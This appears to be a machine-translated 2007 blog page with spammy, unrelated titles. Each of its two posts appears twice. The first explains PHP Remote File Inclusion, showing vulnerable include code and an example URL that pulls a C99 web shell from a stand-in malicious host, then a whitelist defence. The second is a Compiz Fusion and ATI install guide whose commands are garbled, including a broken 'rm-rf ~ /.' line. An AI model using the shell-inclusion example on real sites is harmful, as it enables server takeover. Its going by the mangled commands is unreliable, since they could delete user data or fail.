Friday, December 21, 2007
Sunday, December 9, 2007
Cinema Online M Jak Milosc
Remote File Inclusion
The RFI (Remote File Inclusion ) is a vulnerability in web applications written in PHP or ASP due to the lack of control of the files included in the code and passed via GET requests or POST.
When the name of a page to include passed via GET or POST, and no controls can be included in the code a page arbitrarily. They often include shell generally written in PHP providing a broad range of controls, such as C99, which you can edit, remove, and create files on the server folder, make copies of database tables, etc. to send commands to the server., Compromising so very seriously the security of the system.
Suppose we have a code like this:
This code takes a page as a GET variable and include it within the current web page. This code is very dangerous for the security of the system. Suppose that this page is accessible to www.miosito.it / vuln.php. At this point I can pass as a parameter to my application page on the server perfectly lawful, and the application will include the inside (eg www.miosito.it/vuln.php?page=index.php). But I can also include a C99 shell and the system will not tell me anything (www.miosito.it / vuln.php? http://sito_malizioso/c99.txt ). The application will open the page with the code C99 in txt format, will take the code and include it in the page you are creating, thus allowing any attacker to have both hands on the administration of the web server. A C99
txt format can be found here
How to Defend Yourself
Usually when I want to include an external page in one of my web application I want to include only a very restricted set of possible and numbered pages, not all web pages in the world. For example, if I want to create a menu I do not want to include all possible pages and images in my GET variable, but only a narrow range of pages (for those who just want to make it accessible from my menu). Just then a switch-case on the possible values \u200b\u200bof my GET variable, depending on the value and include the desired page, without leaving you completely free will. Enough foresight to avoid this type of vulnerability of RFI.
The RFI (Remote File Inclusion ) is a vulnerability in web applications written in PHP or ASP due to the lack of control of the files included in the code and passed via GET requests or POST.
When the name of a page to include passed via GET or POST, and no controls can be included in the code a page arbitrarily. They often include shell generally written in PHP providing a broad range of controls, such as C99, which you can edit, remove, and create files on the server folder, make copies of database tables, etc. to send commands to the server., Compromising so very seriously the security of the system.
Suppose we have a code like this:
$ page = $ _GET [ "page" ] ;
include ($ page ) ;
?> This code takes a page as a GET variable and include it within the current web page. This code is very dangerous for the security of the system. Suppose that this page is accessible to www.miosito.it / vuln.php. At this point I can pass as a parameter to my application page on the server perfectly lawful, and the application will include the inside (eg www.miosito.it/vuln.php?page=index.php). But I can also include a C99 shell and the system will not tell me anything (www.miosito.it / vuln.php? http://sito_malizioso/c99.txt ). The application will open the page with the code C99 in txt format, will take the code and include it in the page you are creating, thus allowing any attacker to have both hands on the administration of the web server. A C99
txt format can be found here
How to Defend Yourself
Usually when I want to include an external page in one of my web application I want to include only a very restricted set of possible and numbered pages, not all web pages in the world. For example, if I want to create a menu I do not want to include all possible pages and images in my GET variable, but only a narrow range of pages (for those who just want to make it accessible from my menu). Just then a switch-case on the possible values \u200b\u200bof my GET variable, depending on the value and include the desired page, without leaving you completely free will. Enough foresight to avoid this type of vulnerability of RFI.
Monday, November 26, 2007
Can You Cancer From Purple Nurple
THE INSTALLATION Compiz Fusion with ATI
Let's start with the download from this link:
http://kanotix.com/files/install-fglrx-debian.sh
the script for the ATI drivers.
Then later you should run the script from the console back on our beautiful percu giving terminal Ctrl + Alt + F1 and rilogghiamoci with our data
Now let's move in the dir where you saved the script and give sudo sh install-fglrx-debian. sh. Expect that the script you download the driver for our card and reboot the system.
add repositories
Let the terminal sudo gedit / etc / apt / sources.list
then paste it into the bottom of the file the following lines and save:
http://download.tuxfamily.org/3v1deb feisty eyecandy deb
feisty eyecandy deb-src http://download.tuxfamily.org/3v1deb
or send Ctrl + and Ctrl + x save so we leave the sources.list;
now authenticated the repository
Retrieving GPG key: wget
http://download.tuxfamily.org/3v1deb/DD800CD9.gpg -O- We in turn:
sudo apt-get remove compiz-core desktop-effects
rm-rf ~ /.
compiz gconftool-2-
shutdown gconftool-2-recursive-unset / apps / compiz
Install Compiz core
Now install Compiz Core, let a:
sudo apt-get install compiz-gnome compizconfig-settings-manager-backend-gconf libcompizconfig
Install Compiz Fusion
Now we just have to install the set for additional plugins and science fiction, friends Compiz Fusion:
sudo apt-get install compiz-fusion-*
We initiate
compiz Compiz Fusion - Replace-v &
And that's it. To configure,
under System -> Preferences you should find the "CompizConfig Settings Manager", while you make Compiz start automatically you just go to:
System -> Preferences -> Sessions and add the command:
compiz - replace &
I hope to be helped. Naked Kiss
Let's start with the download from this link:
http://kanotix.com/files/install-fglrx-debian.sh
the script for the ATI drivers.
Then later you should run the script from the console back on our beautiful percu giving terminal Ctrl + Alt + F1 and rilogghiamoci with our data
Now let's move in the dir where you saved the script and give sudo sh install-fglrx-debian. sh. Expect that the script you download the driver for our card and reboot the system.
add repositories
Let the terminal sudo gedit / etc / apt / sources.list
then paste it into the bottom of the file the following lines and save:
http://download.tuxfamily.org/3v1deb feisty eyecandy deb
feisty eyecandy deb-src http://download.tuxfamily.org/3v1deb
or send Ctrl + and Ctrl + x save so we leave the sources.list;
now authenticated the repository
Retrieving GPG key: wget
http://download.tuxfamily.org/3v1deb/DD800CD9.gpg -O- We in turn:
sudo apt-get remove compiz-core desktop-effects
rm-rf ~ /.
compiz gconftool-2-
shutdown gconftool-2-recursive-unset / apps / compiz
Install Compiz core
Now install Compiz Core, let a:
sudo apt-get install compiz-gnome compizconfig-settings-manager-backend-gconf libcompizconfig
Install Compiz Fusion
Now we just have to install the set for additional plugins and science fiction, friends Compiz Fusion:
sudo apt-get install compiz-fusion-*
We initiate
compiz Compiz Fusion - Replace-v &
And that's it. To configure,
under System -> Preferences you should find the "CompizConfig Settings Manager", while you make Compiz start automatically you just go to:
System -> Preferences -> Sessions and add the command:
compiz - replace &
I hope to be helped. Naked Kiss
Subscribe to:
Posts (Atom)